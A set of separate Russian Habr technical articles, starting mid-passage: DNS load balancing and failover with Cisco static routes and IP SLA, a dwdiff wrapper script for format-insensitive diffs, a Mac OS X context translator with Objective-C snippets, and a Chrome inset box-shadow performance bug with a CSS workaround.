Самым простым способом резервирования кэширующего DNS является настройка на клиентской стороне нескольких записей с адресами DNS-серверов. Адреса DNS-серверов можно сообщить клиенту различными способами:
* через соответствующие атрибуты DHCP (для тех абонентов кто использует технологию IPoE и автоматическую настройку);
* по протоколу LCP для абонентов PPPoE (или любой другой PPP-технологии);
* указав в приложении к договору или инструкции для абонентов, чье подключение по IP настраивается вручную.
Клиент, в случае недоступности первого сервера, автоматически переключиться на второй и т.д. Но этот способ имеет два очевидных недостатка.
Первый — отсутствует полноценная балансировка нагрузки. Пока первый сервер доступен и работает (а мы исходим из того, что отказ сервера вещь хоть и неприятная, но крайне редкая), у абонентов нет никакого резона переключаться на второй, и тот простаивает.
Второй недостаток полностью проистекает из первого, но имеет куда большее значение. Критерии переключения на резервный сервер полностью определяются настройками на клиентской стороне. Вот, например, [описание стандартных таймингов DNS клиента Windows XP](https://support.microsoft.com/en-us/kb/2834226). Из статьи следует, что Windows XP переключиться на использование резервного сервера только в том случае, если основной не ответит в течении одной секунды. Т.е. можно представить ситуацию, когда, в результате перегрузки, ошибки конфигурирования или сбоя, основной сервер работает неудовлетворительно, но отвечает в течении 0,95 сек. Очевидно, что при такой задержке ни о какой нормальной работе Интернет у абонента речи быть не может. Но, поскольку время ответа менее одной секунды, абоненты "будут плакаться, колоться, но продолжать есть кактус", точнее будут испытывать деградацию сервиса, но не переключатся на простаивающий резервный DNS-сервер.
Конечно, подобное поведение службу DNS является аварийным и должно быть обнаружено системой мониторинга с последующей эскалацией проблемы. Но вопрос мониторинга находится в стороне от темы заметки.
Destination NAT
---------------
Другой способ балансировки — destination NAT. Это решение, которое активно применяется для распределения нагрузки на кластерах web-серверов. В этом случае абоненты используют единственный адрес DNS-сервера, который является адресом интерфейса NAT, а реальные DNS-сервера имеют приватную адресацию. При обращении абонентов к DNS-серверу происходит трансляция в запросе Destination IP-address в адрес одного из серверов. При таком подходе нагрузку можно распределить равномерно. Но подобный метод является несколько избыточным, так как полноценный NAT, в случае с web-серверами, оправдан в силу того, что транспорт там обеспечивает протокол TCP, который является stateful, в отличии от stateless транспорт UDP, обычно применяемого для запросов DNS. В отличии от обмена трафика с web-сервером, диалог клиента с DNS-сервером очень лаконичен и предполагает только пару запрос-ответ.
Статическая маршрутизация
-------------------------
Более простой способ — статические маршруты. Представим, что у нас есть три DNS-сервера с IP-адресами:
* 10.0.0.1,
* 10.0.0.2,
* 10.0.0.3.
На каждом из которых сконфигурирован Loopback-интерфейс *10.10.10.10*. Служба DNS настроена на получение запросов на данный адрес, а в firewall есть правила для TCP/UDP-портов 53.
В таком случае любой из этих серверов готово обслуживать DNS-запросы с destination-адресом 10.10.10.10. Это и будет IP-адрес DNS-сервера, которым пользуются все наши абоненты. Осталось распределить их запросы между реальными серверами. Тут ничего особенного делать не требуется. Сконфигурируем на маршрутизаторе, куда подключены наши сервера три статических маршрута:
```
ip route 10.10.10.10 255.255.255.255 10.0.0.1
ip route 10.10.10.10 255.255.255.255 10.0.0.2
ip route 10.10.10.10 255.255.255.255 10.0.0.3
```
В результате мы получим такую картину:
```
Router#show ip route 10.10.10.10
Routing entry for 10.10.10.10/32
Known via "static", distance 1, metric 0
Routing Descriptor Blocks:
* 10.0.0.1
Route metric is 0, traffic share count is 1
10.0.0.2
Route metric is 0, traffic share count is 1
10.0.0.3
Route metric is 0, traffic share count is 1
```
Теперь стандартный механизм балансировки per-flow будет последовательно раскладывать запросы от разных абонентов по трем имеющимся маршрутам:
Применение IP SLAs DNS для Failover
===================================
Теперь, когда мы позаботились о балансировке, осталось решить вопрос с переключением трафика в случае отказа одного из серверов. В этом нам поможет механизм Cisco IP SLA, а точнее функция [IP SLAs DNS Operation](http://www.cisco.com/c/en/us/td/docs/ios-xml/ios/ipsla/configuration/15-mt/sla-15-mt-book/sla_dns.html).
Описание работы
---------------
Кратко работу данной функции можно описать следующим образом:
1. В конфигурации маршрутизатора создается три записи IP SLA, которые периодически выполняют запрос к каждому из трех DNS-серверов (например, стандартный запрос A-RR www.google.com). Результат запроса определяет состояние записи.
2. С записями IP SLA связаны три объекта Track, которые переходят в статус *DOWN*, если состояние соответствующего IP SLA отлично от *ОК*.
3. Три статических маршрута из раздела выше связываются со своим объектом Track
Теперь, если в определенный момент один из серверов не ответит или ответит некорректно на DNS-запрос, соответствующий объект Track перейдет в состояние DOWN, а связанный с ним статический маршрут исчезнет из таблицы маршрутизации. В результате проблемный сервер будет исключен из механизма балансировки.
Пример конфигурации
-------------------
Конфигурация IP SLA:
```
ip sla 1
dns www.google.com name-server 10.0.0.1
timeout 5000
frequency 9
threshold 10
ip sla 2
dns www.google.com name-server 10.0.0.2
timeout 5000
frequency 9
threshold 10
ip sla 3
dns www.google.com name-server 10.0.0.3
timeout 5000
frequency 9
threshold 10
```
Активация и настройка трэкинга:
```
ip sla schedule 1 life forever start-time now
ip sla schedule 2 life forever start-time now
ip sla schedule 3 life forever start-time now
track 1 ip sla 1
track 2 ip sla 2
track 3 ip sla 3
```
Настройка маршрутов с привязкой к трэкингу:
```
ip route 10.10.10.10 255.255.255.255 10.0.0.1 track 1
ip route 10.10.10.10 255.255.255.255 10.0.0.2 track 2
ip route 10.10.10.10 255.255.255.255 10.0.0.3 track 3
```
Тестирование
------------
Сейчас, кроме самих маршрутов у нас есть три IP SLA, которые в настоящее время работают, а результат последнего запроса у всех *OK*.
```
Router# show ip sla statistics
IPSLA operation id: 1
Latest RTT: 1 milliseconds
Latest operation start time: 15:33:27 UTC+7 Wed Aug 17 2016
Latest operation return code: OK
Number of successes: 373
Number of failures: 0
Operation time to live: Forever
IPSLA operation id: 2
Latest RTT: 1 milliseconds
Latest operation start time: 15:33:27 UTC+7 Wed Aug 17 2016
Latest operation return code: OK
Number of successes: 373
Number of failures: 0
Operation time to live: Forever
IPSLA operation id: 3
Latest RTT: 1 milliseconds
Latest operation start time: 15:33:27 UTC+7 Wed Aug 17 2016
Latest operation return code: OK
Number of successes: 373
Number of failures: 0
Operation time to live: Forever
```
Попробуем отключить сервис DNS на сервере DNS-1. При следующей проверки (они у нас происходят раз в девять секунд) соответствующий IP SLA сообщит о проблеме:
```
Router# show ip sla statistics 1
IPSLA operation id: 1
Latest RTT: NoConnection/Busy/Timeout
Latest operation start time: 15:37:48 UTC+7 Wed Aug 17 2016
Latest operation return code: Timeout
Number of successes: 1
Number of failures: 1
Operation time to live: Forever
```
А соответствующий маршрут с next-hop 10.0.0.1 исчезнет из таблицы маршрутизации:
```
Router#show ip route 10.10.10.10
Routing entry for 10.10.10.10/32
Known via "static", distance 1, metric 0
Routing Descriptor Blocks:
* 10.0.0.2
Route metric is 0, traffic share count is 1
10.0.0.3
Route metric is 0, traffic share count is 1
```
Теперь запросы клиентов распределяются между двумя оставшимися серверами. Если мы вновь запустим сервис, то при следующей проверке IP SLA вернет маршрут и сервер вновь начнет участвовать в балансировке.
Недостаток метода
-----------------
Основной и самый существенный недостаток данного метода — минимально возможная периодичность опроса девять секунд. Очень часто подобная "оперативность" является критической. К сожалению — это ограничение функционала Cisco. Если кто-то подскажет, как его обойти — буду очень благодарен.
Заключение
==========
Мы рассмотрели применение статической маршрутизации и Cisco IP SLA при балансировке и резервировании сервиса кэшируюего DNS. Очевидные преимущества метода:
1. простота настройки;
2. все работает на маршрутизаторе и не требует дополнительных средств;
3. контролируется ответ сервиса, а не только, к примеру, доступность по ICMP echo request.
Недостаток:
1. минимальный период опроса 9 секунд, что означает время реакции до 9 \* 2 = 18 секунд. | https://habr.com/ru/post/307932/ | null | ru | null |
# diff для ленивых разработчиков или как сравнить несравнимое
В былые времена, на Windows, для сравнения oracle-схем (читай баз) я удовлетворялся встроенным в Quest Software TOAD сравнивателем. Он был неплох, и со своей задачей справлялся. Но пересев в linux, меня ждало разочарование. Ни один из [и так небольшого количества] инструментов не предоставляет даже половины былого комфорта. А именно, элементарное **сравнение и мёржинг двух файлов** (DDL, SQL, любых исходников — не суть) по несколько тысяч строк в каждом, **где каждый отформатирован по-своему а реальных изменений всего-ничего, становится натуральной пыткой.**
Поняв тщетность попыток найти необходимый функционал в одном инструменте, я решил поискать костыли в виде сторонних инструментов. А именно — самостоятельные сравниловки и мёржиловки ([visual] compare and merging tools). Перебрав практически [все популярные инструменты](http://en.wikipedia.org/wiki/Comparison_of_file_comparison_tools), выяснилось, что очень немногие (читай почти никто) умели пропускать в сравнении двух текстовых файлов символы конца строки.
Для наглядности, поясню на примере. Допустим у нас есть 2 файла, типично старый и новый.
Старый (ora1.sql):
> `declare
>
> nfunctionresult NUMBER(9);
>
> begin
>
>
>
> nFunctionResult :=
>
> orauser.pack\_util.FGetNeededValue (
>
> in\_nSomeParam => somevalue
>
> );
>
>
>
> dbms\_output.put\_line('Function result: '||
>
> nFunctionResult);
>
> exception
>
> when SOME\_EXCEPTION THEN
>
> orauser.pack\_util.PReportError('SOME\_EXCEPTION');
>
> when OTHERS THEN
>
> orauser.pack\_util.PReportError('OTHER exception');
>
> end;`
Новый (ora2.sql ):
> `declare
>
> nFunctionResult NUMBER(9);
>
> begin
>
> nFunctionResult := orauser.pack\_util.FGetNeededValue (in\_nSomeParam => somevalue);
>
> dbms\_output.put\_line('Function result: '||nFunctionResult);
>
> exception
>
> when SOME\_EXCEPTION THEN
>
> orauser.pack\_util.PReportError('SOME\_EXCEPTION');
>
> when OTHERS THEN
>
> orauser.pack\_util.PReportError('OTHER');
>
> end;`
Как видно пытливым человеческим глазом, суть различий файлов ora1.sql и ora2.sql в одном лишь слове и разном форматировании, но их diff абсолютно нечитаем. Вот классический результат их сравнения:
> `**[bugman@localhost 1]$ diff ora1.sql ora2.sql**
>
> 2c2
>
> < nfunctionresult NUMBER(9);
>
> ---
>
> > nFunctionResult NUMBER(9);
>
> 4,11c4,5
>
> <
>
> < nFunctionResult :=
>
> < orauser.pack_util.FGetNeededValue (
>
> < in_nSomeParam => somevalue
>
> < );
>
> <
>
> < dbms_output.put_line('Function result: '||
>
> < nFunctionResult);
>
> ---
>
> > nFunctionResult := orauser.pack_util.FGetNeededValue (in_nSomeParam => somevalue);
>
> > dbms_output.put_line('Function result: '||nFunctionResult);
>
> 16c10
>
> < orauser.pack_util.PReportError('OTHER exception');
>
> ---
>
> > orauser.pack_util.PReportError('OTHER');`
Не улучшает ситуацию и ключ «положить на все пробелы» -w:
> `**[bugman@localhost 1]$ diff -wi ora1.sql ora2.sql**
>
> 4,11c4,5
>
> <
>
> < nFunctionResult :=
>
> < orauser.pack_util.FGetNeededValue (
>
> < in_nSomeParam => somevalue
>
> < );
>
> <
>
> < dbms_output.put_line('Function result: '||
>
> < nFunctionResult);
>
> ---
>
> > nFunctionResult := orauser.pack_util.FGetNeededValue (in_nSomeParam => somevalue);
>
> > dbms_output.put_line('Function result: '||nFunctionResult);
>
> 16c10
>
> < orauser.pack_util.PReportError('OTHER exception');
>
> ---
>
> > orauser.pack_util.PReportError('OTHER');`
Не смотря на то, что в оригинальной документации сказано, что пробелами являются и [символы конца строки](http://www.gnu.org/software/diffutils/manual/html_node/White-Space.html#White%20Space), заведённый мною баг был закрыт в redhat'ной багзилле с пометкой «НЕ БАГ», а сами ГНУшники отписались что мол да, это БАГ, но БАГ документации. А в последнем письме и вовсе пообещались исправить всё на свете.
Из всех переробованных утилит, наиболее удобная оказалась xxdiff (а конкретнее её опция [ignore per-hunk whitespaces](http://furius.ca/xxdiff/doc/xxdiff-secrets.html#per-hunk-ignore-whitespace)), но к сожалению, сама утилита не умела работать с юникод файлами, не имела встроенного редактора. чтобы «на лету» править фалы, не предоставляла CLI для возможной интеграции с другими средствами да и к тому же имела не самый приятный интерфейс.
Но ближе всех по смыслу подошла утилитка коммандной строки dwdiff. Эта небольшая обёрточка вокруг diff выдаёт ровно то, что мне нужно — различия на уровне СЛОВ. Но и без ложки дёгтя не обошлось — вывод этой утилиты своеобразен и стандартных опций для приведения разницы в diff формат не имеет:
> `**[bugman@localhost 1]$ dwdiff -P -i ora1.sql ora2.sql**
>
> declare
>
> nFunctionResult NUMBER(9);
>
> begin
>
> nFunctionResult := orauser.pack_util.FGetNeededValue (in_nSomeParam => somevalue);
>
> dbms_output.put_line('Function result: '||nFunctionResult);
>
> exception
>
> when SOME_EXCEPTION THEN
>
> orauser.pack_util.PReportError('SOME_EXCEPTION');
>
> when OTHERS THEN
>
> orauser.pack_util.PReportError('OTHER [-exception-]');
>
> end;`
С другой стороны, это и не мудрено, ибо стандарнтный patch имеет уровень строки, а в каком виде выводить разницу двух файлов, если они различаются по-дифовски в каждой строке? Этим вопросом я озадачился и списался с автором сей утилиты, коммрадом G.P. Halkes, результатом переписки стал небольшой костыль:
> `**[bugman@localhost 1]$ ./diffwrap.sh ora1.sql ora2.sql diff -i**
>
> 10c10
>
> < orauser.pack_util.PReportError('OTHER exception');
>
> ---
>
> > orauser.pack_util.PReportError('OTHER');`
Сей враппер позволяет пользоваться в том числе и с визуальными дифферами, типа kdiff3. Сам скриптик, отточенная версия которого скоро войдёт в состав dwdiff и будет распространятся вместе с ней на радость ленивым кодерам, но кому не терпится уже сейчас опробовать его в работе, никакой магии тут нет:
> `**[bugman@localhost 1]$ cat ~/diffwrap.sh**
>
> #!/bin/bash
>
>
>
> if [ $# -lt 3 ] ; then
>
> echo "Usage: script.sh "
>
> exit 1
>
> fi
>
>
>
> OLD="$1"
>
> NEW="$2"
>
> shift 2
>
>
>
> # First create a version of the old file that is formated like
>
> # the new file...
>
> TMP="`mktemp oldconvertXXXXXX`"
>
> dwdiff -P -2 -w '' -x '' "$OLD" "$NEW" > "$TMP"
>
>
>
> # ... and then call a diff program to show the changes (per line).
>
> "$@" "$TMP" "$NEW"
>
>
>
> # Finally, clean up the temporary file
>
> rm "$TMP"
>
>
>
>
>
> P. S. Безусловно у описываемой мною проблемы существуют и другие решения. Одно из них - натравить на сравниваемые исходники какой-нить автоформатер. Но мне пришлось отказатся от этого по следующим соображениям: 1) в коллективе выработался некий coding style guide, привести в соответствие с которым любой автоформатер дело не одного даже наверное дня, тратить на это время, чтобы потом разочароваться в выборе пока нет возможности; 2) если откинуть предыдущий пункт, и просто привести копии упоминаемых файлов в какой-нибудь единый формат только для сравнивания, появляется другая задача - как спроецировать найденные различия на оригиналы?` | https://habr.com/ru/post/75716/ | null | ru | null |
# Переlator
По ходу своей работы я сталкиваюсь с маленькими задачами, которые отнимают много времени (при решении «в лоб»). Иногда получается найти средства для быстрого решения этих задач, иногда нет. Во втором случае, чаще всего, я быстренько пишу собственные маленькие программы, которые позволяют максимально упросить решение задачи.
Недавно столкнулся с одной такой задачей. Всё чаще стала возникать необходимость перевести какой-то текст. То на иврите нужно перевести абзац, то на китайском сайте нужно было почитать обсуждение, то при написании письма зарубежным коллегам не получается перевести «хитрое» предложение — приходится обращаться к онлайн сервисам перевода («подглядеть», что подскажут). Я пользовался сервисами ПРОМТ и Google. Такой подход мне начал надоедать, и я за пару вечеров набросал контекстный переводчик, который использует сразу три сервиса от компаний: Google (Google Translator), Microsoft (Bing Translator), ПРОМТ (мобильная версия).
Уверен, что мои наработки кому-то окажутся полезными.
Эту мини-статью я разделю на две части. Первая посвящена тем, кто хочет просто установить программу и пользоваться ей. А вторая, тем только делает первые шаги в освоение разработки «под» Mac OS X и iPhone (сделали первую программа «Конвертер» по руководству от Apple, но уже имеющие желание писать коммерческое ПО).
Переlator — это простой, но достаточно удобный контекстный переводчик для Mac OS X. Возможны баги, сбои — детально я его не тестировал (не было нужды), но у меня он несколько дней работает нормально.
Компания Apple в Mac OS X 10.6 (Snow Leopard) наконец-то обратила внимание на функционал Services (Службы) и очень хорошо «причесала» его. Переlator базируется на этом функционале.
**УСТАНОВКА**
1). Скопируйте Translation.service в папку Services:
[ДОМАШНЯЯ ПАПКА]/Библиотеки/Services — если сервис нужен только Вам.
/Библиотеки/Services — если сервис нужен всем пользователям в системе.
Если папки Services не оказалось в необходимом месте, то просто создайте её.
2). Два раза щёлкаем мышкой по сервису (запускаем) или выполняем выход и вход в систему.
3). Открываем Системные настройки > Клавиатура > Службы. Ставим галочку напротив «Перевести» («Translate») и задаём удобное клавиатурное сокращение.
4). Всё. Контекстный переводчик полностью готов к работе.
**ИСПОЛЬЗОВАНИЕ**
В любой программе, которая поддерживает Службы (Safari, Mail, Skype, iChat, TextEdit, Pages и пр.) выделяем текст, нажимаем правой кнопкой мыши для вызова контекстного меню и выбираем «Перевести» («Translate») — под курсором откроется окно с переводом. Или выделите текст и нажмите заданное клавиатурное сокращение.
**Важное замечание…** Некоторые программы (особенно кросс-платформенные) не поддерживают функционал Службы.
Переlator для каждого перевода использует собственное окно. Т.е. предыдущий окно с предыдущим перевод не закрывается при переводе нового текста.
Вы можете настроить удобный для Вас размер окна переводчика. Достаточно просто подстроить окно под необходимый размер, и все следующие окна будет идентичного размера.
Провайдер услуги перевода автоматически сохраняется. Например, если Вы в последнем окне выбрали Microsoft, то следующий перевод автоматически отобразить перевод от Microsoft.
В настройках программы Вы можете задать размер шрифта перевода и пару языков для перевода по умолчанию.
Если язык не поддерживается провайдером, мы увидим соответствующее сообщение.
Скачать программу можно по ссылке: <http://www.yuriev.info/translator/translator.zip>
Системные требования: **Mac OS X 10.6** и выше
**ОГРАНИЧЕНИЯ**
В программа не позволяет переводить очень длинные тексты (в техническом смысле длина запроса не должна превышать 2000 символов). В программе используются методы GET, а не POST.
В программе используется мобильный вариант ПРОМТ (m.translate.ru), которые может переводить только небольшие абзацы.
**ДЛЯ НАЧИНАЮЩИЙ РАЗРАБОТЧИКОВ**
Я собрал тут ряд банальных и не очень вопросов (которые актуальны для Переlator) и дал на них ответы.
**Как создавать HUD интерфейс?**
Компания Apple для разработчиков представляет только лишь HUD панель. Все элементы пользователь должен создавать самостоятельно или использовать готовые библиотеки. Я использовал BGHUDAppKit.
**Как сохранить и загрузить определённые настройки программы?**
Используйте класс NSUserDefaults.
> `NSUserDefaults \*defaults = [NSUserDefaults standardUserDefaults];
>
> NSString \*source = [defaults objectForKey:@"SourceLanguage"];
>
> ...
>
> [defaults setObject:language forKey:@"SourceLanguage"];
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
**Как задать содержимое NSPopUpButton?**
Например, так:
> `[sourceLanguagesButton removeAllItems];
>
>
>
> [sourceLanguagesButton addItemWithTitle:NSLocalizedString(@"auto", @"")];
>
> [[sourceLanguagesButton menu] addItem:[NSMenuItem separatorItem]];
>
>
>
> for (int i = 0; i < 10; i++)
>
> {
>
> [sourceLanguagesButton addItemWithTitle:[NSString stringWithFormat:@"%i", i]];
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
**Как задать цвет текста на кнопке?**
> `[contactButton setTitle:NSLocalizedString(@"Contact", @"")];
>
> NSMutableAttributedString \*colorTitle = [[NSMutableAttributedString alloc] initWithAttributedString:[contactButton attributedTitle]];
>
> [colorTitle addAttribute:NSForegroundColorAttributeName value:[NSColor whiteColor] range:NSMakeRange(0, [colorTitle length])];
>
> [contactButton setAttributedTitle:colorTitle];
>
> [colorTitle addAttribute:NSForegroundColorAttributeName value:[NSColor blackColor] range:NSMakeRange(0, [colorTitle length])];
>
> [contactButton setAttributedAlternateTitle:colorTitle];
>
> [colorTitle release];
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
**Как применить CoreImage эффекты к окну (например, сделать размытие как Windows)?**
Без использования приватного API не обойтись.
Объявляем:
> `typedef void \*CGSWindowFilterRef;
>
> typedef int CGSConnectionID;
>
> typedef int CGSWindowID;
>
> extern CGSConnectionID \_CGSDefaultConnection(void);
>
> extern CGError CGSNewCIFilterByName(CGSConnectionID cid, CFStringRef filterName, CGSWindowFilterRef \*outFilter);
>
> extern CGError CGSAddWindowFilter(CGSConnectionID cid, CGSWindowID wid, CGSWindowFilterRef filter, int flags);
>
> extern CGError CGSRemoveWindowFilter(CGSConnectionID cid, CGSWindowID wid, CGSWindowFilterRef filter);
>
> extern CGError CGSReleaseCIFilter(CGSConnectionID cid, CGSWindowFilterRef filter);
>
> extern CGError CGSSetCIFilterValuesFromDictionary(CGSConnectionID cid, CGSWindowFilterRef filter, CFDictionaryRef filterValues);
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Задаём фильтр:
> `CGSWindowID wid;
>
> CGSWindowFilterRef fid;
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
…
> `int compositingType = 1;
>
> wid = [[self window] windowNumber];
>
> CGSNewCIFilterByName(\_CGSDefaultConnection(), (CFStringRef)@"CIGaussianBlur", &fid);
>
> NSDictionary \*options = [NSDictionary dictionaryWithObject:[NSNumber numberWithFloat:3.0] forKey:@"inputRadius"];
>
> CGSSetCIFilterValuesFromDictionary(\_CGSDefaultConnection(), fid, (CFDictionaryRef)options);
>
> CGSAddWindowFilter(\_CGSDefaultConnection(), wid, fid, compositingType);
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Убираем фильтр:
> `if (fid)
>
> {
>
> CGSRemoveWindowFilter(\_CGSDefaultConnection(), wid, fid);
>
> CGSReleaseCIFilter(\_CGSDefaultConnection(), fid);
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
**Как получить доступ к NSView объекту заголовка окна (для размещения там каких-то дополнительных элементов, например, замочка, как в Safari)?**
> `NSView \*titlebar = [[self.window standardWindowButton:NSWindowCloseButton] superview];
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
**Как получить текущие координаты курсора мыши?**
> `NSPoint point = [NSEvent mouseLocation];
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
**Как изменить шрифт у всего содержимого объекта NSTextView?**
> `[textView setFont:[NSFont systemFontOfSize:20]];
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
**Как программно задать начальную позицию в NSTextView (скроллинг в самое начало)?**
> `NSPoint top;
>
>
>
> if([textView isFlipped])
>
> {
>
> top = NSMakePoint(0.0, 0.0);
>
> }
>
> else
>
> {
>
> top = NSMakePoint(0.0, NSMaxY([textView frame]) - NSHeight([textView bounds]));
>
> }
>
>
>
> [textView scrollPoint:top];
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
**Как скрыть какой-нибудь объект класса NSView (например, кнопку)?**
> `[object setHidden:YES];
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
**Как изменить контекстное меню текстовых объектов?**
Нужно задать метод делегата. Вот как это реализовано в программе:
> `- (NSMenu \*)textView:(NSTextView \*)view menu:(NSMenu \*)menu forEvent:(NSEvent \*)event atIndex:(NSUInteger)charIndex
>
> {
>
> NSMenuItem \*spotlight = nil;
>
> NSMenuItem \*google = nil;
>
> NSMenuItem \*dictionary = nil;
>
> NSMenuItem \*copy = nil;
>
> NSMenuItem \*speech = nil;
>
>
>
> int count = [menu numberOfItems];
>
>
>
> for (int i = 0; i < count; i++)
>
> {
>
> SEL action = [[menu itemAtIndex:i] action];
>
>
>
> if (action == @selector(spotlight:))
>
> {
>
> spotlight = [[menu itemAtIndex:i] retain];
>
> }
>
> else if (action == @selector(\_searchWithGoogleFromMenu:))
>
> {
>
> google = [[menu itemAtIndex:i] retain];
>
> }
>
> else if (action == @selector(\_lookUpDefiniteRangeInDictionaryFromMenu:))
>
> {
>
> dictionary = [[menu itemAtIndex:i] retain];
>
> }
>
> else if (action == @selector(copy:))
>
> {
>
> copy = [[menu itemAtIndex:i] retain];
>
> }
>
> else if (action == @selector(submenuAction:))
>
> {
>
> NSMenu \*submenu = [[menu itemAtIndex:i] submenu];
>
>
>
> if (submenu)
>
> {
>
> if ([submenu numberOfItems] == 2)
>
> {
>
> if ([[submenu itemAtIndex:0] action] == @selector(startSpeaking:))
>
> {
>
> speech = [[menu itemAtIndex:i] retain];
>
> }
>
> }
>
> }
>
> }
>
> }
>
>
>
> if (!copy)
>
> {
>
> if (spotlight) [spotlight release];
>
> if (google) [google release];
>
> if (dictionary) [dictionary release];
>
> if (speech) [speech release];
>
>
>
> return menu;
>
> }
>
>
>
> [menu removeAllItems];
>
> if (spotlight) [menu addItem:spotlight], [spotlight release];
>
> if (google) [menu addItem:google], [google release];
>
> if (dictionary) [menu addItem:dictionary], [dictionary release];
>
>
>
> if ([menu numberOfItems] > 0) [menu addItem:[NSMenuItem separatorItem]];
>
> [menu addItem:copy], [copy release];
>
>
>
> if (speech)
>
> {
>
> [menu addItem:[NSMenuItem separatorItem]];
>
> [menu addItem:speech], [speech release];
>
> }
>
>
>
> return menu;
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
**Как отправлять запросы (и получать ответы) к онлайн-сервисам перевода (например, Google, Microsoft)?**
Можно воспользоваться стандартным классом NSURLConnection. Я предпочёл воспользоваться сторонним классом GDataHTTPFetcher из проекта gdata-objectivec-client компании Google. Работать объектом этого класса очень просто. Вот код запроса из программы:
> `NSString \*sourceText = [originalText stringByAddingPercentEscapesUsingEncoding:NSUTF8StringEncoding];
>
> NSString \*langs = [[NSString stringWithFormat:@"%@|%@", sourceLanguage, targetLanguage] stringByAddingPercentEscapesUsingEncoding:NSUTF8StringEncoding];
>
> NSString \*requestURL = [NSString stringWithFormat:@"%@&q=%@&langpair=%@", GoogleURL, sourceText, langs];
>
> NSURL \*url = [NSURL URLWithString:requestURL];
>
> NSURLRequest\* request = [NSURLRequest requestWithURL:url cachePolicy:NSURLRequestReloadIgnoringCacheData timeoutInterval:20.0];
>
>
>
> fetcherG = [[GDataHTTPFetcher httpFetcherWithRequest:request] retain];
>
> [fetcherG beginFetchWithDelegate:self
>
> didFinishSelector:@selector(httpFetcher:finishedWithData:)
>
> didFailSelector:@selector(httpFetcher:didFail:)];
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Где GoogleURL — это [ajax.googleapis.com/ajax/services/language/translate?v=1.0](http://ajax.googleapis.com/ajax/services/language/translate?v=1.0) | https://habr.com/ru/post/86299/ | null | ru | null |
# Баг в CSS Chrome, разрушивший наш сайт
Это реальная история, случившаяся с нашим сайтом во время празднования Дня Благодарения.
Сайт перестал работать внезапно, ничего не предвещало такого оборота.
Поначалу я подумал, что проблема в нашем провайдере хостинга, потому что с ним уже случались проблемы ранее. Наш сайт уже трижды успевал «падать» по разным причинам, и это выглядело как типичная проблема с их стороны.
Когда мы пытались открыть сайт, то видели лишь пустую страницу, увы. пару раз после обновления удалось даже обновить страницу, но она не листалась вниз, никакие элементы типа ссылок не работали. Такое было везде, а не только на главной странице.
Недолго думая, я открыл панель разработчика Chrome, чтобы заглянуть в «сознание» страницы и понять причину ошибки. Все HTML элементы отображались корректно, да и сам исходный код загрузился корректно. Я видел абсолютно все, чего не видел на странице.
Следующим шагом была проверка логов с ошибками в cPanel. Неудача.
Это означало, что причиной сего страшного бага была не хостинговая компания. И тут я понял, что у нас большие проблемы. Чувствуя себя полностью виноватым, каясь, я начал дебажить свой код.
#### Отладка кода
Первым делом мною был проверен код JavaScript через консоль. Неа.
Удивительно, в JavaScript все исправно, но сервер не работает. К моему удивлению все просто замечательно работало в Firefox.
Что-то страшное стало происходить, и я это понял. Код сайта не обновлялся около недели. Более того, оно работал исправно дольше года. Как вдруг мое творение могло внезапно перестать отображаться в Chrome?
Набрал в Google “сайт медленно прокручивается в chrome” и увидел пост с упоминанием `background-size: cover`, который вызывал проблемы на некоторых ресурсах. В каждом посте нашего блога присутствуют изображения-обложки статей, использующие свойство `background-size: cover` для придания отзывчивости.
Я удалил эту строчку, но ничего не поменялось. Возможно, что есть еще какие-то ошибки в использовании CSS? Например, какое-нибудь преобразование, чересчур перегружающее компьютер?
Это изображение было в чем-то уникально, из-за чего я продолжил играться с его HTML и CSS. Когда я добавил `display: none`, остальная часть сайта заработала. Просвет!
Таким образом, я начал убирать свойства одно за другим, пока не нашел источник головной боли:
```
box-shadow: inset 0 -360px 360px -160px #000, inset 0 290px 330px -160px #000;
```
Всего лишь одна строка смогла вывести из строя весь ресурс!
#### Как я это исправлял
Этот `box-shadow` присутствовал не только в эстетических целях. Он также создавал темный фон для заголовка поста и меню с навигацией, без чего текст был бы нечитаемым.
Необходимо было как-то его вернуть. Для этого я создал два новых псевдоэлемента `position: absolute` и еще каплю магии с `background-image: linear-gradient`.
```
&:before, &:after {
content: '';
position: absolute;
left: 0;
width: 100%;
}
&:before {
top: 0;
height: $headerHeight + 20px;
background-image: linear-gradient(#000, rgba(0, 0, 0, .6), rgba(0, 0, 0, 0));
}
&:after {
bottom: 0;
height: 40%;
background-image: linear-gradient(to top, #000, rgba(0, 0, 0, .7), rgba(0, 0, 0, 0));
}
```
Эффект создавался тот же, но только теперь сайт работал.
Конечно, это не идеальный выход, хотя… С `box-shadow` у меня была возможность создавать красивые рамки. С 2 градиентами я лишь могу придавать эффект тени в верхней и нижней части картинки.
#### Собственно, в чем проблема?
Это был даже не код, который был мною заменен, но ошибка все равно кроется в CSS. Это реальный, открытый баг Chrome, представленный в его последней версии, M39, [обнаруженный](https://code.google.com/p/chromium/issues/detail?id=437128) 26 ноября 2014 года.
Кратко говоря, в браузере возникает ошибка при подсчете параметров теней с большими числами. Я заметил, что проблема начинается примерно с 200px. Баг не влияет на использование `outset` в `box-shadow`, а лишь на `inset`.
Вы можете наблюдать его в действии [здесь](http://codepen.io/dmtintner/pen/dPYNzY), используя Chrome.
Попробуйте прокручивать колесико мыши вверх и вниз, и, в зависимости от быстроты вашего компьютера, браузер начнет зависать все больше и больше. Сделайте `box-shadow` больше (1000px), и все перестанет работать вообще. Затем просто закомментируйте известные нам строки, и браузер вернется к жизни.
Думая, множество других сайтов когда-то испытали подобную напасть. Лично мне удалось заметить это на сайте [французского подразделения Toyota](http://toyota.fr/), но на данный момент проблема устранена.
#### Вывод
Несколько лет назад такая ошибка могла быть приемлемой и даже ожидаемой. Однако, в наши дни это недопустимо, так как возможности в программировании крайне большие, и играться с CSS никто не запрещал.
